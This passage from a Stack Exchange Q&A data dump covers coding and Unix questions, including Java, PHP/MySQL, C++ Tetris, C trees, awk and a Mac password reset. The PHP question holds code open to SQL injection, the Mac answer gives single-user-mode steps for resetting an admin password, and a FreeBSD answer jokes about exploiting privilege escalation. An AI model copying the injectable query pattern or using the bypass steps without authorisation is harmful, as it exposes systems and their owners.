together was sourced from CodingBat.I was curious about cleaner, more correct methods of doing putting this together such as finding a cleaner way to tell if there is or is not a duplicate in the array. I am also trying to be as efficient as possible. I believe this is an \\$O(n^2)\\$ function. Let me know what I should change.The code works just fine. I just feel like there is quite a lot I can streamline and I would like to be pointed in the right direction. public int maxSpan(int[] nums) { int highestSpan = 0; int span; boolean duplicate = false; if (nums.length == 0) return highestSpan; for (int i = 0; i < nums.length; i++) { for (int j = 0; j < nums.length; j++){ if ((nums[i] == nums[j])&& j != i){ //if duplicate duplicate = true; //get the absolute value of j - i span = j - i + 1; //Add 1 because it needs to count itself //if it is larger than the highestSpan then record it if (span > highestSpan) highestSpan = span; } } } if (duplicate) return highestSpan; else return 1;}" , "title": "Finding the maximum inclusive distance between two duplicate numbers in an array" , "tags": "java" , "accepted_answer": "Getting rid of duplicate as Janos proposed and then QPaysTaxes wrote is a good step, but this useless variable introduced quite some useless code we should also get rid of. The following code builds up on QPaysTaxes' answer; I'm commenting on changed things and presenting my variant:public int maxSpan(int[] nums) { int highestSpan = 0;This is not the place where span should be defined. You don't need it here.The condition nums.length == 0 can go. for (int i = 0; i < nums.length; i++) { for (int j = i; j < nums.length; j++) {Changed the lower bound from i+1 to i to cover span equal to 1. Below removed the i != j test and used max to make the code a bit shorter. if (nums[i] == nums[j]) { int span = j - i + 1; // Add 1 to count itself highestSpan = Math.max(highestSpan, span); } } }No need for a conditional here. return highestSpan;}I guess, I saved some 6 lines without making it any more complicated. Now can also span be inlined to save 1 more line (but that's not the objective).--Now it works exactly according to the explanation by QPaysTaxes in comment without any special tests:An empty array doesn't have any spans, so clearly it has to return 0. An array of unique elements is rather more confusing, but since the prompt states that a single (i.e. unduplicated) element has a span of 1, then an array of unique (i.e. unduplicated [i.e. single]) elements has a maximum span of the span of every unique numberAn O(n) solution could look like this (untested):public int maxSpan(int[] nums) { int highestSpan = nums.length == 0 ? 0 : 1; Map firstOccurrenceMap = new HashMap<>(); for (int i = 0; i < nums.length; i++) { Integer firstOccurrence = firstOccurrenceMap.get(nums[i]); if (firstOccurrence == null) { firstOccurrenceMap.put(nums[i], i); } else { highestSpan = Math.max(highestSpan, i - firstOccurrence + 1); } } return highestSpan;}As the first occurrence of a number gets a special treatment, the empty array has to be handled specially, too (see the declaration of highestSpan)." } { "id": "_unix.96698" , "question": "Today I bought an ibook G4 from a garage sale. The people who sold it to me didn't know the password for the 2 accounts on it. Apparently it was the guys late father's laptop. Any suggestions on how to get into the laptop and set a new admin account and password?" , "title": "Mac OS X Darwin: how to reset admin password?" , "tags": "osx;root;startup" , "accepted_answer": "You must boot the Mac into single user mode and change an admin user's password from the command line. How to do it depends on the Mac OS version installed on the iBook.Here are the instructions for 10.4 (Tiger) which is probably what's installed on such an old Mac:Power on your Mac.At the chime hold down Command S on your keyboard to boot into single-user mode.Type sh /etc/rc and press Return.Type passwd username Return, replacing username with the short name of the account whose password you want to change. You can get a list of account short names with ls /Users Return.Enter the new password and press Return.Type reboot Return.Once the Mac boots you should be able to log into the account whose password you changed." } { "id": "_unix.12206" , "question": "I am new to Linux, installed Gnome, and unable to login, as only root is set, and disabled, I think after reading on the Internet.Now how do i get back to the command line, at least so I can deal with that and fix my issues from there? I am unable to bypass the Gnome login screen." , "title": "Debian (Gnome): unable to login" , "tags": "linux;debian;gnome;login" } { "id": "_codereview.11503" , "question": "I only recently started coding so I know my code is not very good, but i would really appreciate any help on improving my code.my database table looks like thisgame_id |title |developer |publisher |genre |release_date |platform rating |image_location |descriptionthe first pagethis page is pretty straightforward your typical search that links to the search page and passes the keywords entered through GET
     
the second page is the search pagethis is where things got complicated for me.Here is what i did i created a buch of links on the left side, each link submits back to the same page but passes 4 variables with them which i use on the third page to create the query.As you can see its not very pretty.'; }}?> Search
'; echo ' '; echo '
'; foreach($results as $result ){ echo '

'.$result['title'].'   

for  '.$result['platform'].'

'.$result['description'].'

'.$result['rating'].'

';} echo '
';;?>
`page three is where i query the database and get results. Not as bad as page 2function search_results($keywords){$returned_results = array();$where = ;$keywords = preg_split('/[\\s]+/', $keywords);$total_keywords = count($keywords);foreach($keywords as $key=>$keyword){ $where .= title LIKE '%$keyword%'; if($key != ($total_keywords - 1)){ $where .= AND ; } }if (isset($_GET['platform']) && !empty($_GET['platform'])){ $platform = mysql_real_escape_string(htmlentities(trim($_GET['platform']))); $where .= AND platform='$platform'; }if (isset($_GET['genre']) && !empty($_GET['genre'])){ $genre = mysql_real_escape_string(htmlentities(trim($_GET['genre']))); $where .= AND genre='$genre';}if (isset($_GET['order']) && !empty($_GET['order'])){ $order = mysql_real_escape_string(htmlentities(trim($_GET['order']))); if($where == ORDER BY $order ASC){ $where .= ORDER BY $order DESC; }else{ $where .= ORDER BY $order ASC; }}$results =SELECT * FROM games WHERE $where ;echo $results;$results_num = ($results = mysql_query($results)) ? mysql_num_rows($results) : 0;if($results_num === 0){ return false;}else{ while($row = mysql_fetch_assoc($results)){ $returned_results[] = array( 'game_id' => $row['game_id'], 'title' => $row['title'], 'platform' => $row['platform'], 'rating' => $row['rating'], 'image_location' => $row['image_location'], 'description' => $row['description'], ); } return $returned_results;} }?>Things i need help with being able to remove a chosen filter categoryeasier way to pass variables to the query stringbetter way to structure a filter for mysqlany feedback that will help me improve my codethanks" , "title": "need help improving mysql and php filter code" , "tags": "php;mysql;search" , "accepted_answer": "here's a quick run down on your script from my perspective. Hopefully it will help you out and make your code a bit more efficient and a little prettier! :)Whilst admirable that you are attempting to stop SQL injection attacks with mysql_real_escape_string() it is really not the best method to protect yourself. Consider instead using prepared statements with PDO, believe me learning this will save you a lot of time!You also repeat alot of code, for example this line pops up a lot.$keywords = mysql_real_escape_string(htmlentities(trim($_GET[$x])));Why not put it into a function?function prepVar($var) { return mysql_real_escape_string(htmlentities(trim($var)));}and then just use$platform = prepVar($_GET['platform']);Another few pointers on isset and empty. You've explicitly asked for a variable to be set and not empty. (check this article out: http://www.htmlcenter.com/blog/empty-and-isset-in-php/)isset will return TRUE if the variable has a type i.e. String, Object etc. i.e. the variable already exists in the scope.empty will return TRUE if the variable === 0 || === false || === nullAs (in this case) empty will return true if the variable is not set (as the var would === null). You only need to use empty.$platform = $_GET['platform'];$platform = !empty($platform) ? prepVar($platform) : '';The same principles can be applied to your third page with the added complication of adding the $where variable to each of the operations.if (!empty($platform)) { $platform = prepVar($platform); $where .= platform = '{$platform}';}I don't understand this bit of code:if (isset($_GET['order']) && !empty($_GET['order'])){ $order = mysql_real_escape_string(htmlentities(trim($_GET['order']))); if($where == ORDER BY $order ASC){ $where .= ORDER BY $order DESC; }else{ $where .= ORDER BY $order ASC; }}Are you sure you want to be checking $where for a value, if it contains that value append a second ORDER BY statement to it? That doesn't make much sense :(Removing a filter categoryI would save the search state to $_SESSION each time it is run through your function. You can then recall the previous search state, modify it and then run that through your query again allowing you to remove / change / add as much or as little as you want.Easier ways to pass to your query stringFirstly you are asking for the same information within your function as you are within the procedural code on your second page. if (isset($_GET['platform']) && !empty($_GET['platform'])){ ...As you already have variables that have been mildly sanitised with mysql_real_escape_string() why not pass them to the function as variables as well. Or declare them global variables within the function? In essence the easier way is to make sure you are not duplication your code, setting a variable once and using that variable throughout your script will yield greater stability of your application in the long run.Better way to structure a filter for mySQLI dont see a problem with the way you are structuring it, personally I prefer to use functions to decorate SQL queries. In honesty it is each to there own!" } { "id": "_codereview.74850" , "question": "Previous question:https://codereview.stackexchange.com/questions/74677/text-based-tetris-game-follow-up-finalSummary of improvements:Implementation of a Drawable classSeparate functionality, input moves to Game classImplementation of Cloneable class by CRTPRemoved global variables Added Block classImproving the game loop timer by implementing How can I improve this code further?Tetris.cpp#include #include #include #include #include #include #include utility.husing Matrix = std::vector>;class Shape{public: virtual ~Shape() = default; virtual Shape *clone() const = 0; virtual int getDrived(std::size_t i, std::size_t j) const = 0;};template struct Clonable : public Shape{ virtual Shape *clone() const { return new Derived(static_cast(*this)); }};class O : public Clonable{public: O() = default; virtual ~O() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 0, 0, 0 }, { 0, 1, 1, 0 }, { 0, 1, 1, 0 }, { 0, 0, 0, 0 } } };};class L : public Clonable{public: L() = default; virtual ~L() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 0, 0, 0 }, { 0, 1, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 1, 0 } } };};class N : public Clonable{public: N() = default; virtual ~N() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 1, 0, 0 }, { 0, 1, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 0, 0 } } };};class M : public Clonable{public: M() = default; virtual ~M() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 0, 1, 0 }, { 0, 1, 1, 0 }, { 0, 1, 0, 0 }, { 0, 0, 0, 0 } } };};class T : public Clonable{public: T() = default; virtual ~T() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 0, 0, 0 }, { 0, 1, 0, 0 }, { 1, 1, 1, 0 }, { 0, 0, 0, 0 } } };};class I : public Clonable{public: I() = default; virtual ~I() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 } } };};class S : public Clonable{public: S() = default; virtual ~S() = default; virtual int getDrived(std::size_t i, std::size_t j) const { return shape[i][j]; }private: Matrix shape { { { 0, 0, 0, 0 }, { 0, 1, 1, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 } } };};class NonCopyable{public: NonCopyable() = default; virtual ~NonCopyable() = default;private: NonCopyable(const NonCopyable &) = delete; NonCopyable(const NonCopyable &&) = delete; NonCopyable& operator = (const NonCopyable&) = delete;};struct Drawable{ virtual void draw(std::ostream& stream) const = 0;};class Random : private NonCopyable{public: Random(int min, int max) : mUniformDistribution(min, max) {} int operator()() { return mUniformDistribution(mEngine); }private: std::default_random_engine mEngine{ std::random_device()() }; std::uniform_int_distribution mUniformDistribution;};class Block : private NonCopyable{public: using Ptr = std::unique_ptr; Block();protected: void createBlock(); void rotateBlock(); std::size_t size() const { return ilBlock.size(); } Matrix mBlock; static const std::initializer_list ilBlock;private: // shapes Ptr t; Ptr m; Ptr n; Ptr i; Ptr o; Ptr l; Ptr s; std::vector shapes; const int shapeCounter = 7; Random getRandom{ 0, shapeCounter - 1 };};const std::initializer_list Block::ilBlock ={ 0, 1, 2, 3};Block::Block() : t(std::make_unique()) , m(std::make_unique()) , n(std::make_unique()) , i(std::make_unique()) , o(std::make_unique()) , l(std::make_unique()) , s(std::make_unique()){ mBlock.resize(ilBlock.size(), std::vector(ilBlock.size(), 0)); shapes.emplace_back(std::move(t->clone())); shapes.emplace_back(std::move(m->clone())); shapes.emplace_back(std::move(n->clone())); shapes.emplace_back(std::move(i->clone())); shapes.emplace_back(std::move(o->clone())); shapes.emplace_back(std::move(l->clone())); shapes.emplace_back(std::move(s->clone())); createBlock();}void Block::createBlock(){ int blockType = getRandom(); for (auto i : ilBlock) { for (auto j : ilBlock) { mBlock[i][j] = shapes[blockType]->getDrived(i, j); } }}void Block::rotateBlock(){ for (auto i : ilBlock) { for (auto j : ilBlock) { if (i < j) { std::swap(mBlock[i][j], mBlock[j][i]); } } std::reverse(mBlock[i].begin(), mBlock[i].end()); }}class Tetris : public Block, public Drawable{public: Tetris(); void moveBlock(int, int); bool isCollide(int, int); void spawnBlock(); bool applyRotate(); bool isFull(); COORD getPosition() { return position; }private: void initField(); void makeBlocks(); void checkLine(); Matrix mStage; COORD position; virtual void draw(std::ostream& stream) const; friend std::ostream& operator<<(std::ostream& stream, const Tetris& self) { self.draw(stream); return stream; } int mScore = 0; Matrix mBoard; static const std::initializer_list ilBoard; static const std::initializer_list ilBoardRow;};Tetris::Tetris(){ mBoard.resize(ilBoard.size(), std::vector(ilBoardRow.size(), 0)); mStage.resize(ilBoard.size(), std::vector(ilBoardRow.size(), 0)); initField();}const std::initializer_list Tetris::ilBoard ={ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20};const std::initializer_list Tetris::ilBoardRow ={ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};void Tetris::initField(){ for (auto i = ilBoard.begin(); i != ilBoard.end() - 1; ++i) { for (auto j = ilBoardRow.begin(); j != ilBoardRow.end() - 1; ++j) { if ((*j == 0) || (*j == ilBoardRow.size() - 2) || (*i == ilBoard.size() - 2)) { mBoard[*i][*j] = mStage[*i][*j] = 9; } else { mBoard[*i][*j] = mStage[*i][*j] = 0; } } } makeBlocks();}void Tetris::makeBlocks(){ position.X = ilBlock.size(); position.Y = 0; createBlock(); for (auto i : ilBlock) { for (auto j : ilBlock) { mBoard[i][j + size()] += mBlock[i][j]; } }}bool Tetris::isFull(){ for (auto i : ilBlock) { for (auto j : ilBlock) { if (mBoard[i][j + size()] > 1) { return true; } } } return false;}void Tetris::moveBlock(int x2, int y2){ for (auto i : ilBlock) { for (auto j : ilBlock) { mBoard[position.Y + i][position.X + j] -= mBlock[i][j]; } } position.X = x2; position.Y = y2; for (auto i : ilBlock) { for (auto j : ilBlock) { mBoard[position.Y + i][position.X + j] += mBlock[i][j]; } }}void Tetris::checkLine(){ std::copy(mBoard.begin(), mBoard.end(), mStage.begin()); for (auto i = ilBoard.begin() + 1; i != ilBoard.end() - 2; ++i) { bool isCompeteLine = true; for (auto j = ilBoardRow.begin() + 1; j != ilBoardRow.end() - 1; ++j) { if (mStage[*i][*j] == 0) { isCompeteLine = false; } } if (isCompeteLine) { mScore += 10; for (auto k : ilBlock) { std::copy(mStage[*i - 1 - k].begin(), mStage[*i - 1 - k].end(), mStage[*i - k].begin()); } } } std::copy(mStage.begin(), mStage.end(), mBoard.begin());}bool Tetris::isCollide(int x, int y){ for (auto i : ilBlock) { for (auto j : ilBlock) { if (mBlock[i][j] && mStage[y + i][x + j] != 0) { return true; } } } return false;}bool Tetris::applyRotate(){ Matrix temp(ilBlock.size(), std::vector(ilBlock.size(), 0)); std::copy(mBlock.begin(), mBlock.end(), temp.begin()); rotateBlock(); if (isCollide(position.X, position.Y)) { std::copy(temp.begin(), temp.end(), mBlock.begin()); return true; } for (auto i : ilBlock) { for (auto j : ilBlock) { mBoard[position.Y + i][position.X + j] -= temp[i][j]; mBoard[position.Y + i][position.X + j] += mBlock[i][j]; } } return false;}void Tetris::spawnBlock(){ if (!isCollide(position.X, position.Y + 1)) { moveBlock(position.X, position.Y + 1); } else { checkLine(); makeBlocks(); }}void Tetris::draw(std::ostream& stream) const{ for (auto i : ilBoard) { for (auto j : ilBoardRow) { switch (mBoard[i][j]) { case 0: stream << ' '; break; case 9: stream << '@'; break; default: stream << '#'; break; } } stream << '\\n'; } stream << Score : << mScore << \\n\\n\\tA: left\\tS: down\\tD: right \\t Rotation[Space];}class Game : private NonCopyable{public: int menu(); void gameLoop();private: void introScreen(); void userInput(); void display(); void gameOverScreen(); Tetris tetris;};void Game::gameOverScreen(){ std::cout << \\n ##### # # # ####### ####### # # ####### ######\\n # # # # ## ## # # # # # # # #\\n # # # # # # # # # # # # # # #\\n # #### # # # # # ##### # # # # ##### ######\\n # # ####### # # # # # # # # # #\\n # # # # # # # # # # # # # #\\n ##### # # # # ####### ####### # ####### # #\\n \\n\\nPress any key and enter\\n; std::cin.ignore(); std::cin.get();}void Game::gameLoop(){ auto start = std::chrono::high_resolution_clock::now(); while (!tetris.isFull()) { auto end = std::chrono::high_resolution_clock::now(); double timeTakenInSeconds = (end - start).count() * (static_cast(std::chrono::high_resolution_clock::period::num) / std::chrono::high_resolution_clock::period::den); if (_kbhit()) { userInput(); } if(timeTakenInSeconds > .3) { tetris.spawnBlock(); display(); start = std::chrono::high_resolution_clock::now(); } } clearScreen(); gameOverScreen();}int Game::menu(){ introScreen(); int select_num = 0; std::cin >> select_num; switch (select_num) { case 1: case 2: break; default: select_num = 0; break; } return select_num;}void Game::introScreen(){ clearScreen(); std::cout << #==============================================================================#\\n ####### ####### ####### ###### ### #####\\n # # # # # # # #\\n # # # # # # #\\n # ##### # ###### # #####\\n # # # # # # #\\n # # # # # # # #\\n # ####### # # # ### #####\\t\\tmade for fun \\n \\n\\n\\n\\n \\t\\n \\t1: Start Game\\n\\t2: Quit\\n\\n #==============================================================================#\\n Choose >> ;}void Game::display(){ clearScreen(); std::cout << tetris;}void Game::userInput(){ switch (_getch()) { case 77: if (!tetris.isCollide(tetris.getPosition().X + 1, tetris.getPosition().Y)) { tetris.moveBlock(tetris.getPosition().X + 1, tetris.getPosition().Y); } break; case 75: if (!tetris.isCollide(tetris.getPosition().X - 1, tetris.getPosition().Y)) { tetris.moveBlock(tetris.getPosition().X - 1, tetris.getPosition().Y); } break; case 80: if (!tetris.isCollide(tetris.getPosition().X, tetris.getPosition().Y + 1)) { tetris.moveBlock(tetris.getPosition().X, tetris.getPosition().Y + 1); } break; case 72: tetris.applyRotate(); }}int main(){ Game game; switch (game.menu()) { case 1: game.gameLoop(); break; case 2: return 0; default: std::cerr << Choose 1~2 << std::endl; return -1; }}utility.h#if defined(__linux__) || defined(__APPLE__)#include #include #include #include #include static struct termios g_old_kbd_mode;static void cooked(void){ tcsetattr(0, TCSANOW, &g_old_kbd_mode);}static void raw(void){ static char init; struct termios new_kbd_mode; if (init) { return; } tcgetattr(0, &g_old_kbd_mode); memcpy(&new_kbd_mode, &g_old_kbd_mode, sizeof(struct termios)); new_kbd_mode.c_lflag &= ~(ICANON | ECHO); new_kbd_mode.c_cc[VTIME] = 0; new_kbd_mode.c_cc[VMIN] = 1; tcsetattr(0, TCSANOW, &new_kbd_mode); atexit(cooked); init = 1;}static int _kbhit(void){ struct timeval timeout; fd_set read_handles; int status; raw(); FD_ZERO(&read_handles); FD_SET(0, &read_handles); timeout.tv_sec = timeout.tv_usec = 0; status = select(0 + 1, &read_handles, NULL, NULL, &timeout); if (status < 0) { printf(select() failed in kbhit()\\n); exit(1); } return status;}static int _getch(void){ unsigned char temp; raw(); if (read(0, &temp, 1) != 1) { return 0; } return temp;}bool gotoxy(unsigned short x = 1, unsigned short y = 1){ if ((x == 0) || (y == 0)) { return false; } std::cout << \\x1B[ << y << ; << x << H; return true}void clearScreen(bool moveToStart = true){ std::cout << \\x1B[2J; if (moveToStart) { gotoxy(1, 1); }}#elif _WIN32#include #include #include namespace{ HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_SCREEN_BUFFER_INFO csbi;};void clearScreen(){ static DWORD count; static DWORD cellCount; COORD homeCoords = { 0, 0 }; if (!GetConsoleScreenBufferInfo(hStdOut, &csbi)) std::cerr << ERROR GetConsoleScreenBufferInfo - clearScreen : << GetLastError() << std::endl; cellCount = csbi.dwSize.X *csbi.dwSize.Y; FillConsoleOutputCharacter(hStdOut, (TCHAR) ' ', cellCount, homeCoords, &count); FillConsoleOutputAttribute(hStdOut, csbi.wAttributes, cellCount, homeCoords, &count); SetConsoleCursorPosition(hStdOut, homeCoords);}#else#error OS not supported!#endif" , "title": "Text-based Tetris game with CRTP - follow-up" , "tags": "c++;c++11;console;polymorphism;tetris" , "accepted_answer": "Issues preventing the code from compiling on Clang:In the Linux/Apple path from utility.h, function gotoxy(), you forgot a semicolonin the last return statement:bool gotoxy(unsigned short x = 1, unsigned short y = 1){ if ((x == 0) || (y == 0)) { return false; } std::cout << \\x1B[ << y << ; << x << H; return true; // <--- Was missing the ';' ! }COORD is undefined. You are relying on the definition provided by Windows.h, which obviously doesn't exist elsewhere. Either define COORD for the Unix path yourself or better, provide your own Point2D struct that replaces the non-portable Win32 COORD type.std::make_unique is shamefully not available on Clang as of today. No easy fix herebut to define your own fallback replacement or avoid make_unique altogether. You can finda code snippet for a make_unique replacement in here.Code review:When we override a function from a base class, such as clone() and getDrived() from Shape, we can now add the override specifier to aid compiler diagnostics and optimizations. Its use can also make code clearer and intentions more explicit.The method name getDrived() of Shape doesn't make sense to me. What exactly is its purpose? It gets an element of the matrix that composes the char map of a shape. Then perhaps is should be called getCharacter()? But that would still sound weird, since we are talking about a shape. Then perhaps getPixel() or getDot() would be better,if we are talking about a 2D shape that is represented by dots/pixels.Speaking of the Shape derived classes, you have quite a few single letter type name representing the formats of the Tetris pieces. Since the names are single letter each, it might be nice to nest then into a namespace to give more context to the names. Maybe in a shapes namespace:namespace shapes{ class O { ... }; class L { ... }; class M { ... }; ...}Then code using them would look like this:auto shape = make_unique();More verbose, but with a little more context about what an O means.In Tetris::draw(), it is not clear to me the meaning of the constants 0 and 9 usedin the switch statement. Zero is an empty slot, while nine seems to be the borders of the Tetris board. So those should be constants that convey this information more clearly.Similar problem in Game::userInput(). The switch statement that handles the input is relying on raw numerical constants to represent the key presses. That is crying to be replaced by an enum.Gameplay tip: Show some info about the controls in the home screen or before starting the game. The user can't guess which keys to press to move the pieces around.On the architecture of Shape and derived classes:I think you've overengineered things a bit with the whole shape hierarchy. As it is, the shape classes are just serving as holders for a matrix of chars/dots. I would either replaces the shapes by simple matrices or would make them smarter by moving the drawing and any shape-related logic to the Shape interface and subclasses. As it stands, it just adds complexity to the code. If you move more logic to the shape classes, then they would justify their existence.Another thing, you don't have to keep those template shapes as members of Block:class Block : private NonCopyable{private: // These guys are never used after a block is constructed! Ptr t; Ptr m; Ptr n; Ptr i; Ptr o; Ptr l; Ptr s; // All you need is this array of Shape pointers. std::vector shapes;};All you do is reference them once in the constructor and then clone each into the shapes vector. Why not place the shapes directly into the vector then and get rid of those members?The shapes are currently just data holders, so you could make that clearer by storing pointers to const shapes, enforcing immutability:using Ptr = std::unique_ptr;" } { "id": "_codereview.121179" , "question": "Follow up question toBinary Search Tree insert while keeping track of parent for node to be addedI am implementing a red black tree for fun and am wondering how I should modify my basic BST insert. Note: this happens before the red black tree rules are applied, it just finds the correct place within the tree to add the node, places it, sets references, value and defaults the color to RED. I am mainly struggling to see if there may be a better way to tack on the parent reference for the newly added node. The implementation I have here looks ahead one step with a NULL check where a BST insert that does not need to track the parent would not need.struct node * bstInsert(struct node *n, int x) { if (n != NULL) { int isGreater = (n->val < x) ? -1 : (n->val > x); if (isGreater == -1) { if (n->left == NULL) { n->left = createAChild(n, n->left, x); } else { bstInsert(n->left, x); } } else if (isGreater == 1) { if (n->right == NULL) { n->right = createAChild(n, n->right, x); } else { bstInsert(n->right, x); } } } else{ n = createAChild(NULL, n, x); } return n;}struct node * createAChild(struct node *par, struct node *n, int x) { n = malloc( sizeof(struct node) ); n->parent = par; n->left = n->right = NULL; n->val = x; n->color = RED; return n;}Is there a cleaner solution to setting the parent reference for the node to be added?" , "title": "Binary Search Tree insert while keeping track of parent for node to be added - iteration 2" , "tags": "c;recursion;tree;reference" , "accepted_answer": "You should check the result given by malloc, because otherwise your program may crash. Maybe not on your system right now, but basically, memory allocation can fail, and if it does, your program will crash afterwards by dereferencing a null pointer.Additionally, your createAChild function should not take a node pointer. What happens if I pass in an existing object? You just overwrite it. That's a cause for memory leaks. Treat createAChild as a constructor: either give it a cleanly allocated node struct, or let it allocate its own struct." } { "id": "_unix.55365" , "question": "I am running a VPS with FreeBSD 8.3-RELEASE-p3This is my first time using FBSD as a server,and as a newbie I locked myself out of su by taking my user out of wheel group.I have disabled the ability to login with 'root' from SSH in order to increase the security level of my server.I know that someVPS providers provide remote console control service that allows you to see what's going on the screen while booting and everything, but mine doesn't allow that.Will installing VNC for command-line use only, keep me unworried of making mistakes liketaking myself out of 'wheel' and not being able to 'su'?" , "title": "Installing and using VNC for command-line purposes on FreeBSD" , "tags": "freebsd;vnc" , "accepted_answer": "If you are not root, you will not be able to install VNC, so this will not help.I think there are only two options Tell your Provider to log into the system from the console and readd the user to wheel.Find and exploit to enhance your privileges. :)" } { "id": "_unix.298199" , "question": "I've noticed you can't really count on seq(1) being available on anything but GNU systems. What's a simple reimplementation of seq(1) I can bring with me written in POSIX (not bash) shell?EDIT: Note that I intend to use it on at least various BSD's, Solaris, and Mac OS X." , "title": "Portable POSIX shell alternative to GNU seq(1)?" , "tags": "posix;portability;seq" , "accepted_answer": "According to the open group POSIX awk supports BEGIN, therefore it can be done in awk:awk -v MYEND=6 'BEGIN { for(i=1;i<=MYEND;i++) print i }'Where -v MYEND=6 would stand for the assignment as in the first argument to seq. In other words, this works too:END=6for i in `awk -v MYEND=$END 'BEGIN { for(i=1;i<=MYEND;i++) print i }'`; do echo $idoneOr even with three variables (start, increment and end):S=2I=2E=12for i in `awk -v MYS=$S -v MYI=$I -v MYE=$E 'BEGIN { for(i=MYS;i<=MYE;i+=MYI) print i }'`; do echo $idoneExtra Solaris note: On Solaris /usr/bin/awk is not POSIX compliant, you need to use either nawk or /usr/xpg4/bin/awk on Solaris.On Solaris, you probably want to set /usr/xpg4/bin early in PATH if you are running a POSIX compliant script.Reference answer:awk hangs on Solaris" } { "id": "_vi.9326" , "question": "I found that to press ]] to close a matching bracket by means of (vimtex-delim-close) a little inconvenient, as I am using a French keyboard and have to press two keys to type ]. So I tried to use other keys, such as ). And typing the following when in a tex file works::inoremap ) =vimtex#delim#close()But, if I put the above inside my .vimrc file, I receive the error:E15: Invalid expression: vimtex#delim#close()twice.I don't really understand how this works, such as . So maybe I am just doing it wrong? In any case, any help or reference would be greatly appreciated.P.S. I think this is not a vimtex-specific question, but, as it involves this good package, I shall still tag as such." , "title": "How to remap vimtex#delim#close()?" , "tags": "key bindings;vimrc;plugin vimtex" } { "id": "_cs.67445" , "question": "Is the language $\\{ w \\in \\{ a, b \\}^{*} : |w|_{a} + |w|_{b} = 2^{n} \\}$ context sensitive ?" , "title": "Is the language $\\{ w \\in \\{ a, b \\}^{*} | |w|_{a} + |w|_{b} = 2^{n} \\}$ context sensitive?" , "tags": "formal languages;computability;context sensitive" } { "id": "_softwareengineering.206150" , "question": "If I have a method taking input and giving output, it's a no-brainer that tests should be written. But what about things like validation rules?For example, I add a validation rule that a certain property must be at least 5 characters long. Should I then write a UI test to check for an error message when the form field is empty? Assume that the validation library itself works fine, the only thing I do is add a one-liner to specify this rule.I'm leaning towards no, because I'd only be duplicating the validation rules, and if the rules itself are set up incorrectly, the test will probably also be incorrect. However, I'd very much like to hear people's opinion and experience on this." , "title": "Should validation rules be tested?" , "tags": "testing" , "accepted_answer": "Absolutely, including if the underlying library (business layer) works fine.The reason is that there may be a lot of things going wrong between the business layer and the UI when it comes to validation. In the first case, you can simply throw an exception. In the second case, you have to process the exception, react to it (for example by cancelling the processing or doing or not doing a redirection, displaying a localized message, etc.)Imagine the validation of an e-mail address. The business layer detected that someone.somewhere.com is not a valid e-mail address. The expected behavior is to:Stop processing,Stop redirection,Show a message to the user,Highlight the e-mail field in red.What if:The processing is not stopped?The invalid e-mail is simply replaced by a null string?The redirection is still done?The message is not shown?The message is wrong?Another error message for an other field is shown together with the expected message?The message is correct is some cultures, but not in others?The message is too long in some cultures for the area?The e-mail field is not highlighted?Another field is highlighted together with the e-mail field?The e-mail field is empty, i.e. the previous input is discarded?All previous input of the form is discarded?" } { "id": "_codereview.173646" , "question": "In my Win Forms application, I want to display the notifications badge count. How can this be achieved?notifyIcon1.Icon = SystemIcons.Exclamation;notifyIcon1.BalloonTipTitle = hello;notifyIcon1.BalloonTipText = text+s;notifyIcon1.BalloonTipIcon = ToolTipIcon.Warning;// this.Click = new EventHandler(Form1_Load);notifyIcon1.Visible = true;notifyIcon1.ShowBalloonTip(100000);This is my code but it display notify icon but i want badge count on icon" , "title": "In my Win Forms application, I want to display the notifications badge count . How can this be achieve?" , "tags": "c#;winforms;windows" } { "id": "_unix.35515" , "question": "I have a CSV file that contains 10 different fields (, is the deliminator). Example data:student-id,last,first,hwk1,hwk2,hwk3,exam1,hwk4,hwk5,exam2pts-avail,,,100,150,100,200,150,100,300991-78-7872,Thompson,Ken,95,143,79,185,135,95,259I need to swap field2 and field3 using sed but having a difficult time understanding how to write the regular expression. I have tried along with other variations:sed 's/\\(.*[,]\\)\\(.*[,]\\)\\(.*[,]\\)/\\1\\3\\2/g' testIn my test file:abc,def,ghi,jkl1234,5678,abcd,efghIt works fine I have been looking at this for a while and can't figure it out. Anyone able to provide some direction?" , "title": "Swap two columns in a CSV using SED" , "tags": "text processing;sed;csv" } { "id": "_softwareengineering.235033" , "question": "I am confused with what's the different between clarify and gather. I know using interview, observe or questionnaire can to elicit the requirement we want, but how to clarify the functional requirement? " , "title": "What process will you use to clarify functional requirements and to gather non-functional requirements?" , "tags": "requirements;software" , "accepted_answer": "Gathering requirements means just that: collecting them. Clarifying requirements means making sure that those requirements are clear and unambiguous. You need clear and unambiguous requirements so that there is no dispute with the customer over whether or not something that was asked for has been provided.One way to clarify requirements is to write acceptance tests. Acceptance tests are tests that, if they pass, indicate that the requirement has been fulfilled.// Acceptance Testpublic void GetRandomNumber_ShouldReturn4(){ var result = GetRandomNumber(); Assert.IsEqual(result, 4);}// Implementationpublic int GetRandomNumber(){ return 4; // Chosen by fair dice roll. Guaranteed to be random.}If you're having difficulty with things like scope creep, inaccurate time estimates and disputes over completion of requirements, one way to refine those things is to write a Software Design Specification, including the classes and interfaces it would take to fulfill the requirements. This can be combined with the Ubiquitous Language of DDD to get a clear understanding of the scope of a project (from both the developers' and customer's perspective), and what it takes to declare success on each requirement.Further ReadingClarifying Requirements" } { "id": "_unix.98084" , "question": "Is it possible to change the location of .bashrc from /home/orhanc/.bashrc to some other directory?" , "title": "Change the location of .bashrc" , "tags": "bash;bashrc" , "accepted_answer": "Yes. You have three main options:Symlink 